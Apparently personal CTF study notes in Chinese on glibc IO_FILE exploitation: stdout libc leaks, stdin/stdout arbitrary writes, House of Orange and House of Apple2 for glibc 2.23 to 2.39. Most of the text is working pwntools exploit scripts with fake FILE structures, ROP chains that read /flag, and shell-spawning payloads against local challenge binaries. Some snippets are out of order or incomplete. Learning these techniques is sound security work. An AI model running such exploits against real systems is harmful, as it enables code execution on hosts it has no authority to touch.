0%


1.利用stdout泄露libc

  1. 设置_flag &~ _IO_NO_WRITES_flag &~ 0x8
  2. 设置_flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  3. 设置_fileno为1。
  4. 设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。
  5. 设置_IO_read_end等于_IO_write_base或设置_flag & _IO_IS_APPENDING_flag | 0x1000
  6. 设置_IO_write_end等于_IO_write_ptr(非必须)(fwrite)

泄露libc 将结构体内容覆盖

  • 泄露 _IO_file_jumps 的写法:
1
payload = p64(0xfbad1800)+p64(0)*3+b"\x58"
  • 泄露 _IO_2_1_stdin_ 的写法:
1
payload = p64(0xfbad3887)+p64(0)*3+p8(0)

三个p64(0)为了覆盖 _IO_read_ptr、 _IO_read_end、 _IO_read_base,这几个没什么用所以直接覆盖0就行,最后 b’\x00’再把 _IO_write_base的最后一字节改成00,假设一开始_IO_write_base=_IO_write_end=0xffff,则此时_IO_write_base=0xff00,再次调用puts或者write就会把0xff00-0xffff之间内容打出来,里面会有libc相关地址,也就达成了泄露目的。

思路:想篡改stdout需要先拿到它的地址,通常是通过main_arena地址间接拿到stdout地址(爆破一字节)

一个堆块在unsortbin与fastbin,这样他的fd就是main_arena+88,覆盖后面四个字节,但是倒数第四个需要爆破,fastbin attack就能实现申请到了

例题1 UAF 堆风水

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x60,0,b'aaaa')
add(0x60,1,b'aaaa')
add(0x60,2,b'aaaa')
add(0x20,3,b'aaaa')
free(1)
free(0)
edit(0,b'\x50')
#bug()
add(0x60,4,p64(0)*9+b'\x71')
add(0x60,5,p64(0)*3+b'\xe1')
free(1)
free(0)
free(2)
edit(2,b'\x70')

只能创建0x60的堆块,UAF漏洞,堆风水具体如何实现

代码就是这一部分

为什么先free1,后free0,因为我们要改堆块1的size位位0xe1,这就需要先把堆块1往小地址改一点,通过这个假的堆块1,将真正的堆块1的size位改了,应为又uaf所以free了指针也不会被清零,具体实现

img

1
edit(0,b'\x50')

先free挂入链表,将堆块0的fd改为50,也就是将堆块1前一一点点

1
add(0x60,4,p64(0)*9+b'\x71')

这个其实就是堆块0,后入先出,伪造假堆块1的size位,我们看一下

img

可以看到成功在50处伪造了size位,这时我们申请堆块5,就会申请到50那个地方(看bins)并且可以通过这个改真正堆块1的size位

1
add(0x60,5,p64(0)*3+b'\xe1')

![img]1754548159692-6e637918-479e-4585-9d6b-bccaaa2df6f1.png)

可以看到该成功了

然后

free(1)

free(0)

free(2)

这样堆块1就会进入unsortbin,堆块0,2进入fastbin,2->0

img

1
edit(2,b'\x70')

然后修改堆块2的fd,将00,改成70,这样unsortbin就被挂入fastbin

img

然后改一下堆块2fd = main_arena+88后两字节,倒数第四位需要爆破一下,但是这个虽然被挂进去了,我们发现堆块2的size位还是0xe1,这样即使挂进去了也申请不出来,我们不能直接edit(2)

应该

1
edit(5,p64(0)*3+b'\x71'+b'\x00'*7+b'\xdd\x55')

再往后申请三次就出来了,然后正常改结构就行

1
2
3
4
add(0x60,6,b'aaaa')
add(0x60,7,b'aaaa')
payload = b'\x00'*51+p64(0xfbad1800) + p64(0)*3 + b'\x00' #studin
add(0x60,8,payload)

再往后打malloc就行,这里又学到了一点,正常是需要realloc来调整栈的,但是直接触发double free就可以,不用调整

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
add(0x60,0,b'aaaa')
add(0x60,1,b'aaaa')
add(0x60,2,b'aaaa')
add(0x20,3,b'aaaa')
free(1)
free(0)
edit(0,b'\x50')
add(0x60,4,p64(0)*9+b'\x71')
add(0x60,5,p64(0)*3+b'\xe1')
free(1)
#bug()
free(0)
free(2)
#bug()
edit(2,b'\x70')
bug()
edit(5,p64(0)*3+b'\x71'+b'\x00'*7+b'\xdd\x55')

add(0x60,6,b'aaaa')
add(0x60,7,b'aaaa')
#bug()
#payload = b'\x00'*51+p64(0xfbad1800) + p64(0)*3 + b'\x00' #studin
payload = b'\x00'*51+p64(0xfbad1800)+p64(0)*3+b"\x58" #io file jmp
#bug()
add(0x60,8,payload)
buf= u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('buf = '+hex(buf))
bug()
pause()
libc_base = buf-0x3c5600
print(hex(libc_base))
#bug()
addr = libc_base +0x3c4aed
free(0)
edit(0,p64(addr))
#bug()
add(0x60,9,b'aaaa')
shell = libc_base+0x4526a
payload = b'\x00'*0x13+p64(shell)
add(0x60,10,payload)
free(0)
free(0)

例题2数组越界

img

v1没有规定正,数组越界,通过二级指针可以改内容,就是改一个地址里面存了的一个地址,这个地址的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
add(b'a')
add(b'b')
add(b'c')
add(b'd')
bug()
edit(b'-11',b'\x48')
edit(b'-8',p64(0xfbad1800)+p64(0)*3+b'\x00')

libc_ = get_address()
print(hex(libc_))
libc_base = libc_ - 0x1EB980-0x1000
print(hex(libc_base))
system_ = libc_base + libc.sym['system']
print("system --> "+hex(system_))

iolistall = libc_base + libc.sym['_IO_list_all']
print("IO_list_all --> "+hex(iolistall))

bin_sh=libc_base+next(libc.search(b'/bin/sh'))

free_hook = libc_base + libc.sym['__free_hook']
print("free_hook --> "+hex(free_hook))

edit(b'-11',p64(free_hook))
bug()
edit(b'-3',p64(system_))

edit(b'2',b'/bin/sh\x00')

dele(b'2')

首先我们看一下

edit(b’-11’,b’\x48’)这个

img
我们可以看到他这个是指向自己的,也就是通过二级指针该自己的内容,那我们可以把他改成别的来看一下

img

就像这样

edit(b’-11’,p64(free_hook))

然后我们改他把free_hook写进去,然后通过completed这个指针就可以改free_hook的内容了

edit(b’-3’,p64(system_))

img

就像这样

edit(b’-8’,p64(0xfbad1800)+p64(0)*3+b’\x00’)

这个就是改IO_FILE的不再解释了

img

2.stdin标准输入缓冲区进行任意地址写

  1. 设置_IO_read_end等于_IO_read_ptr
  2. 设置_flag &~ _IO_NO_READS_flag &~ 0x4清除 **_flag** 中第 2 位)。
  3. 设置_fileno为0。
  4. 设置_IO_buf_basewrite_start_IO_buf_endwrite_end;且使得_IO_buf_end-_IO_buf_base大于fread要读的数据。(fread)

_IO_new_file_underflow函数中先判断fp->_IO_read_ptr < fp->_IO_read_end是否成立,成立则直接返回,因此再次要求伪造的结构体_IO_read_end ==_IO_read_ptr,绕过该条件检查。

接着函数会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。标志的定义是#define _IO_NO_READS 4,因此_flags不能包含4

最终系统调用_IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base)读取数据,因此要想利用stdin输入缓冲区需设置FILE结构体中_IO_buf_basewrite_start_IO_buf_endwrite_end。同时也需将结构体中的fp->_fileno设置为0,最终调用read (fp->_fileno, buf, size))读取数据。

利用:任意地址写一个0利用,将_IO_buf_base最后一位写成0,第二次再写就会往这里写,从而完全控制

img

3.stdout标准输入缓冲区进行任意地址写

任意写功能的实现在于IO缓冲区没有满时,会先将要输出的数据复制到缓冲区中,可通过这一点来实现任意地址写的功能。可以看到任意写好像很简单,只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可(fwrite)

4.House of Orange

2.23

没有free通过改top chunk来实现,house of 系列里面讲过了

具体讲io部分

imgimg

  • 通过unsortbin attack往任意地址写入一个大的值(也就是main_arean+88)这个unsortbin attack有讲忘了自己去看,我们可以往_IO_list_all写入main_arean+88,main_arean+88+0x68这个偏移就是chain字段,而这个地址刚好是smallbin中size为0x60的数组,我们往大小为0x60的smallbin中写数据就正好是往chain字段这个地址中写,就可以构造结构体

具体构造

将_flags字段写入/bin/sh

将 _IO_write_ptr改成0x1

将 _IO_write_end改成0x0

将_mode改成0

将chain构造为&flags

将vtable的地址改成&vtable

然后在vtable字段后再跟16个字节的0最后写上system函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
libc = ELF('/home/he/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
p = process('./pwn')
elf = ELF('./pwn')
def bug():
gdb.attach(p)
def add(size,content):
p.recvuntil(b'Your choice : ')
p.sendline(b'1')
p.recvuntil(b'Length of name :')
p.sendline(str(size))
p.recvuntil(b'Name :')
p.send(content)
p.recvuntil(b'Price of Orange:')
p.send(b'20')
p.recvuntil(b'Color of Orange:')
p.send(b'1')
def edit(size,content):
p.recvuntil(b'Your choice : ')
p.sendline(b'3')
p.recvuntil(b'Length of name :')
p.sendline(str(size))
p.recvuntil(b'Name:')
p.send(content)
p.recvuntil(b'Price of Orange:')
p.send(b'20')
p.recvuntil(b'Color of Orange:')
p.sendline(str(2))

add(0x10,b'chunk0')
payload = b'b'*0x18+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x100,payload)
add(0x1000,b'bbbbbbbb')
add(0x400,b'cccccccc')
p.recvuntil(b'Your choice : ')
p.sendline(b'2')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c4b78-0x610
io_list_all=libc_base+libc.symbols['_IO_list_all']
print(hex(libc_base))
pause()
print(hex(io_list_all))
edit(0x10,b'd'*15+b'b')
p.recvuntil(b'Your choice : ')
p.sendline(b'2')
p.recvuntil(b'db')
heap_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(heap_addr))
sys_addr = libc_base+libc.sym['system']
print(hex(heap_addr+0x430))
pause()
payload= b'a'*0x400+p64(0)+p64(0x21)+p64(0)*2+b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(io_list_all-0x10)+p64(0)+p64(1)+p64(0)*7+p64(heap_addr+0x430)+p64(0)*13+p64(heap_addr+0x508)+p64(0)+p64(0)+p64(sys_addr)
bug()
edit(0x1000,payload)
bug()
p.interactive()
payload=b'f'*0x400
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0) #堆溢出覆盖
payload+=b'/bin/sh\x00'+p64(0x61) flags字段,且将size位伪造为0x61,进入smallbin
payload+=p64(0)+p64(io_list_all-0x10) fd和bk
payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
payload+=p64(0)*7
payload+=p64(leak_heap+0x430)#chain
payload+=p64(0)*13
payload+=p64(leak_heap+0x508)#vtable
payload+=p64(0)+p64(0)+p64(sys_addr)#DUMMY finish overflow

将chain字段构造为flags的地址,也就是smallbins的头部

imgimg

将vtable就写成vtable所在的地址

img

原理:因为unsortedbin得链表已经被破坏,在遍历链表的时候就发生错误,就会调用errout,而errout调用的是malloc_printerr,其又主要调用了_libc_message函数,又调用了abort,而about中调用fflush(NULL)

img

将vtable就写成vtable所在的地址,往后面第四个写system地址(虚表中overflow就位于第四个),也就相当于调用system并且将链表头部节点作为参数也就是/bin/sh的地址,就调用了system(/bin/sh)获得shell

2.24-2.26

2.24-2.26 加入虚表保护,虚表需要在一定范围里面这时候在这样构造

img

_IO_str_finish

img

将/bin/sh地址写在偏移0x38的地方也就是IO_buf_base

将system写在偏移0xe8的地方

这样就会调用system(/bin/sh)

查找IO_str_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print (hex(possible_IO_str_jumps_offset))
break
payload=b'f'*0x400
payload+=p64(0)+p64(0x21)
payload+=p64(0)+p64(0) #堆溢出覆盖
payload+=p64(0)+p64(0x61) flags字段,且将size位伪造为0x61,进入smallbin
payload+=p64(0)+p64(io_list_all-0x10) fd和bk
payload+=p64(0)+p64(1)#_IO_write_base & _IO_write_ptr
payload+=p64(0)+p64(bin_sh)+p64(0)*5 #IO_buf_base = &/bin/sh offset = 0x38(7)
payload+=p64(0)#chain
payload+=p64(0)*13
payload+=p64(IO_str_jumps-0x8)#vtable
payload+=p64(0)+p64(sys_addr) #IO file offset = 0xe8 (29)

2.27

2.27开始移除了abort函数中的fflush(NULL),劫持_IO_list_all就失效了

2.29

2.29开始虚表是可以写的,如果有任意地址写的漏洞可以直接改虚表函数指针

4.House of Apple2

(1)2.35House of Apple2(system)

执行exit的流程:

1
2
3
4
5
_IO_wfile_overflow
-->>_IO_wdoallocbuf
-->>_IO_WDOALLOCATE
-->>*(fp->_wide_data->_wide_vtable + 0x68)(fp)/
*(fp->_wide_data->_wide_vtable->_doallocate)(fp)

f->flags!=0x8 && f->flags!=0x800 && f->flags!=0x2

vtable设置为_IO_wfile_jumps使其能成功调用_IO_wfile_overflow即可

_wide_data设置为可控堆地址heap_addr1,即满足*(f + 0xa0) = heap_addr1

_wide_data->_IO_write_base设置为0,即满足*(heap_addr1 + 0x18) = 0

_wide_data->_IO_buf_base设置为0,即满足*(heap_addr1 + 0x30) = 0

_wide_data->_wide_vtable设置为可控堆地址heap_addr2,即满足*(heap_addr1 + 0xe0) = heap_addr2

_wide_data->_wide_vtable->doallocate设置为地址C用于劫持执行流,即满足*(heap_addr2 + 0x68) = C

img

这里回答一些问题?

1.为什么要将虚表的地址写为IO_wfile_jumps

因为我们将stderr劫持了,虚表的地址就变化了,他就调用_IO_vtable_check检查,但是我们将虚表的地址改为IO_wfile_jumps,他就不会触发保护、

2.heap2为什么要这样布局

img

我们可以看到 rax = {rax+0xe0(28)这个地方的地址}

其实就是wide_data的vtable

也就是rax = {wide_data的vtable}的值

我们将vtable的值写成了heap2的头也就是

rax就是heap2的地址

然后取出call = rax+0x68这个地址里面的值

也就是我们需要将system的地址写入上面这个rax+0x68这个地方(这里其实就是__doallocate)

我们将rax+0xe8(28)这个地方写入一个地址就写heap2的头地址,然后heap2+0x68(13)写system的地址就可以

3.为什么要把sh;写在heap1的pre_size位,以及为什么是sh;

这里关键就是要找rdi的赋值

img

我们可以看到r15的值是rip+0x18cd1e这个地方的值

而这个值就是_IO_list_all这个地址中的值,这个地址中本来放的是stderr,我们通过largebinattack改成了heap1的头地址

1
2
edit(0,p64(0)*3+p64(listall-0x20))
add(4,0x500)

r15 = heap1的头地址

img

rdi = heap1的头地址

往heap1的头地址写入/bin/sh(其实就是pre_size = /bin/sh),rdi就为/bin/sh的地址

但是其值不满足flags的条件所以改为空格sh;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
add(0,0x450)
add(1,0x428) #末尾为0x8可以改下一个的pre_size位
add(2,0x440)
edit(1,b'a'*0x420+b' sh;')
#fake_io = p64(0) #flags
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(0)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(addr1)
fake_io += p64(0)*2
fake_io += p64(addr2)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
edit(0,p64(0)*11+p64(system)+p64(0)*14+p64(addr2))
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
#context.terminal = ['tmux','splitw','-h']

p = process('./pwn')
#p = remote('node2.anna.nssctf.cn',28168)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(idx,size):
p.recvuntil('choice:')
p.send(b'1')
p.recvuntil(b'index:')
p.send(str(idx))
p.recvuntil('size:')
p.send(str(size))

def free(idx):
p.recvuntil('choice:')
p.send(b'2')
p.recvuntil(b'index:')
p.send(str(idx))

def show(idx):
p.recvuntil('choice:')
p.send(b'4')
p.recvuntil(b'index:')
p.send(str(idx))

def edit(idx,content):
p.recvuntil('choice:')
p.send(b'3')
p.recvuntil(b'index:')
p.send(str(idx))
p.recvuntil('content:')
p.send(content)

def bug():
gdb.attach(p)

add(0,0x450)
add(1,0x428)
add(2,0x440)
edit(1,b'a'*0x420+b' sh;')
free(0)
add(3,0x500)
free(2)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21b0e0
print(hex(libc_base))
edit(0,b'a'*15+b'b')
show(0)
p.recvuntil(b'ab')
addr2 = u64(p.recv(6).ljust(8, b'\x00')) #0
addr1 = addr2+0x890 #2
_IO_wfile_jumps = libc_base+libc.sym['_IO_wfile_jumps']
listall = libc_base + libc.sym['_IO_list_all']
system = libc_base +libc.sym['system']
log.success(" listall --> "+hex(listall))
ogg = libc_base +0xebc81 #0xebc85 0xebc88 0xebc88 0xebd38 0xebd3f 0xebd43
#bug()
edit(0,p64(0)*3+p64(listall-0x20))
add(4,0x500)
#bug()
#fake_io = p64(0) #flags
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(0)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(addr1)
fake_io += p64(0)*2
fake_io += p64(addr2)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
edit(2,fake_io)
fake_jump = b'a'*88+p64(ogg)
edit(0,p64(0)*11+p64(system)+p64(0)*14+p64(addr2))
bug()
p.sendline(b'5')
p.interactive()

p *(struct _IO_FILE_plus *)

img

img

还可以这样构造将wide_date 写heap1的头偏移0xe0(28)的地方写system 所在地址-0x68也就是heap1+0x80的地址

这样只需要一个堆块就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#fake_io = p64(0) #flags 
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(0)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(0)#_lock
fake_io += p64(0)*2
fake_io += p64(addr1)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
fake_io += p64(addr1+0x80) #28 #_wide_vtable
fake_io += p64(system) #__doallocate

总结:结合前面的理解

offset = 0xe0这个位置就是wide_data的vtable

p *(struct _IO_wide_data *)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
$4 = {
_IO_read_ptr = 0x3b687320 <error: Cannot access memory at address 0x3b687320>,
_IO_read_end = 0x451 <error: Cannot access memory at address 0x451>,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x1 <error: Cannot access memory at address 0x1>,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x5555555592b0 L"",
_IO_save_end = 0x0,
_IO_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_IO_last_state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = {
__cd_in = {
step = 0x0,
step_data = {
__outbuf = 0x0,
__outbufend = 0xffffffffffffffff <error: Cannot access memory at address 0xffffffffffffffff>,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = {
step = 0x555555559b20,
step_data = {
__outbuf = 0x0,
__outbufend = 0x0,
__flags = 0,
__invocation_counter = 0,
__internal_use = 0,
__statep = 0x0,
__state = {
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"\xf7e170c0",
_wide_vtable = 0x555555559ba0
}

vtable偏移0xe8就是__doallocate 这里放system就会调用

p *(struct _IO_jump_t *)

img

(2)2.35 House of Apple2(orw)

实现orw就是要栈迁移,因为需要pop,需要讲rsp迁到正确的地方

img

img

1
2
p svcudp_reply
x/16i 0x7ffff7d6a050

主要靠的就是这一段代码

从上面我们知道rdi就是heap1的头地址

rdi+0x48 就是 _IO_save_base

我们在_IO_save_base写什么 rbp就等于什么

rax = [rbp+0x18]

我们需要在rbp+0x18的地方写一个地址作为rax

然后会call [rax+0x28]

因为前面要写orw,所以rax的值要大一些(heap2+0x200),为了避免orw的代码覆盖到rax+0x28

1.那么rax+0x28的地方写什么呢

写leave_ret,我们控制了rbp,经过leave_ret,rsp = rbp+8,我们讲orw的代码布置在rbp+8的地方就可以

然后rbp+0x18的位置是rax的值,这个我们是不能变得,而且rbp+0x10的位置会被清零

mov dword ptr [rbp + 0x10], 0

所以我们需要在rbp+0x8的地方写两个pop 将这两个废值pop 走

然后后面接pop 接orw就可以

2._IO_save_base(rbp)该为多少

如果我们写heap2的地址,那么rbp+0x8的地方为size位,我们控制不了

所以写heap2+0x10,这样rbp+0x8,就是数据的第二个位置,第一个位置写/flag\x00\x00,第二个位置写两个pop

img

img

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
magic = libc_base+0x16a06a
#fake_io = p64(0) #flags
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(addr2+0x10)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(0)#_lock
fake_io += p64(0)*2
fake_io += p64(addr1)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
fake_io += p64(addr1+0x80) #28
fake_io += p64(magic)

最短leave_ret紧紧贴着0x30

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
orw = p64(rdi)+p64(addr2+0x10)+p64(rsi)+p64(0)+p64(rdx)+p64(0)*2+p64(openn)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(addr2+0x300)+p64(rdx)+p64(0x30)*2+p64(readd)
orw+=p64(rdi)+p64(1)+p64(rsi)+p64(addr2+0x300)+p64(rdx)+p64(0x30)*2+p64(writee)+p64(leave_ret)
edit(0,b'/flag\x00\x00\x00'+p64(r12)+p64(0)+p64(addr2+0xc8)+orw)
leave_ret = pie +0x01412
print(hex(leave_ret))
r12 = libc_base+0x011b768
openn=libc_base+libc.sym['open']
readd=libc_base+libc.sym['read']
writee=libc_base+libc.sym['write']
rdi=libc_base+0x002a3e5
rsi=libc_base+0x02be51
rdx=libc_base+0x11f2e7
rax = libc_base +0x45eb0
syscall = libc_base+0x029db4
orw = p64(rdi)+p64(addr2+0x10)+p64(rsi)+p64(0)+p64(rdx)+p64(0)*2+p64(openn)
orw+=p64(rdi)+p64(3)+p64(rsi)+p64(addr2+0x300)+p64(rdx)+p64(0x30)*2+p64(readd)
orw+=p64(rdi)+p64(1)+p64(rsi)+p64(addr2+0x300)+p64(rdx)+p64(0x30)*2+p64(writee)
edit(0,b'/flag\x00\x00\x00'+p64(r12)+p64(addr2+0x200)*2+orw.ljust(0x1f8,b'\x00')+p64(leave_ret))

(3)2.35 House of Apple2(puts)

puts 原本调用链

_IO_file_xsputn –> _IO_file_overflow –> _IO_do_write –> _IO_file_write –> write

_IO_file_xsputn在虚表偏移0x38的位置

img

而_IO_file_overflow在虚表偏移0x18的位置

img

那么我们将虚表往前改0x20,那么puts调用_IO_file_xsputn调用偏移0x38的地方就会是_IO_file_overflow

就和exit一样了

img

但是进入puts,我们发现他并不是从_IO_list_all 中找stdout的结构体,这个结构体是在bss段上的,所以我们要将bss段上的结构体改了

而exit走的是_IO_list_all

img

问题:用largebin attack改bss段上他那个stdout的地址为堆块的地址,先用largebin attack,那个现在在unsortbin,要放的largebin的堆块是free的里面是空的,我改完调用puts就报错了,我要是先伪造好io结构体,然后挂进largebin他就会报错,然后我就给他那个fd和bk写了一下,他不报错了,但是那个_IO_read_end不是0了,不满足掉用条件了

img

那么如何满足条件呢?

答案就是再来一个堆块伪造_wide_data这个结构体

应为调用_IO_wfile_jumps看的是_wide_data这个结构体

原本是将stdout与_wide_data伪造在一个地方,他们的数据是共用的,所以_IO_read_end不为0

但是我们再来一个堆块就可以了

我们需要先改完结构体在挂进链表,所以fd与bk要写好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#stdout = p64(0) #flags 
#stdout += p64(0)#IO read ptr
stdout = p64(0x7ffff7e1ace0)#IO read end
stdout += p64(0x7ffff7e1ace0)#I0 read base
stdout += p64(0)#IO write base
stdout += p64(1)#IO write ptr
stdout += p64(0)#IO write end
stdout += p64(0)#IO buf base
stdout += p64(0)#IO buf end
stdout += p64(0)#_IO_save_base
stdout += p64(0)#_IO_backup_base
stdout += p64(0)#_IO_save_end
stdout += p64(0)#_markers
stdout += p64(0)#chain
stdout += p64(0)
stdout += p64(0xffffffffffffffff)#old_offset
stdout += p64(0)
stdout += p64(addr2+0x30)#_lock
stdout += p64(0)*2
stdout += p64(addr1)#_wide_data
stdout += p64(0)*6
stdout += p64(_IO_wfile_jumps-0x20)#vtable
edit(2,stdout)

需要注意的是*_lock_addr = 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#wide_data = p64(0) #flags 
#wide_data += p64(0)#IO read ptr
wide_data = p64(0)#IO read end
wide_data += p64(0)#I0 read base
wide_data += p64(0)#IO write base
wide_data += p64(0)#IO write ptr
wide_data += p64(0)#IO write end
wide_data += p64(0)#IO buf base
wide_data += p64(0)#IO buf end
wide_data += p64(addr2+0x10)#_IO_save_base
wide_data += p64(0)#_IO_backup_base
wide_data += p64(0)#_IO_save_end
wide_data += p64(0)#_markers
wide_data += p64(addr1)#chain
wide_data += p64(0)
wide_data += p64(0xffffffffffffffff)#old_offset
wide_data += p64(0)
wide_data += p64(0)#_lock
wide_data += p64(0)*2
wide_data += p64(0)#_wide_data
wide_data += p64(0)*7
wide_data += p64(addr1+0x80) #28
wide_data += p64(system)

stdout += p64(_IO_wfile_jumps-0x20)#vtable

这里其实也不用变

_IO_wfile_xsputn–>_IO_wdefault_xsputn–>_IO_wdoallocbuf–>setcontext+61

(4)2.39 House of Apple2(system)

exit->fcloseall->_IO_cleanup->_IO_flush_all->_IO_wfile_overflow->_IO_wdoallocbuf

与2.35区别

1.largebin 检查完善,挂入链表时候,也就是largebin attack时候要给fd bk fdnextsize改回去

2.中间有一些操作导致结构体中数据被改,要绕开这些地址,防止结构体被改

img

0x55555555bb60就是lock

他会对其赋值,所以不要让他改到

_wide_data->_IO_write_base

_wide_data->_IO_buf_base

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#fake_io = p64(0) #flags 
#fake_io += p64(0)#IO read ptr
fake_io = p64(0)#IO read end
fake_io += p64(0)#I0 read base
fake_io += p64(0)#IO write base
fake_io += p64(1)#IO write ptr
fake_io += p64(0)#IO write end
fake_io += p64(0)#IO buf base
fake_io += p64(0)#IO buf end
fake_io += p64(0)#_IO_save_base
fake_io += p64(0)#_IO_backup_base
fake_io += p64(0)#_IO_save_end
fake_io += p64(0)#_markers
fake_io += p64(0)#chain
fake_io += p64(0)
fake_io += p64(0xffffffffffffffff)#old_offset
fake_io += p64(0)
fake_io += p64(addr1+0x40)#_lock
fake_io += p64(0)*2
fake_io += p64(addr1)#_wide_data
fake_io += p64(0)*6
fake_io += p64(_IO_wfile_jumps)#vtable
fake_io += p64(addr1+0x80) #28
fake_io += p64(system)

(5)2.39 House of Apple2(puts)

与2.35区别

1.largebin 检查完善,挂入链表时候,也就是largebin attack时候要给fd bk fdnextsize改回去,并且unsortbin的fd与bk与2.35不通记得改

2.中间有一些操作导致结构体中数据被改,要绕开这些地址,防止结构体被改,这个不用担心,因为wide_data段是另一个堆块不会被影响

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
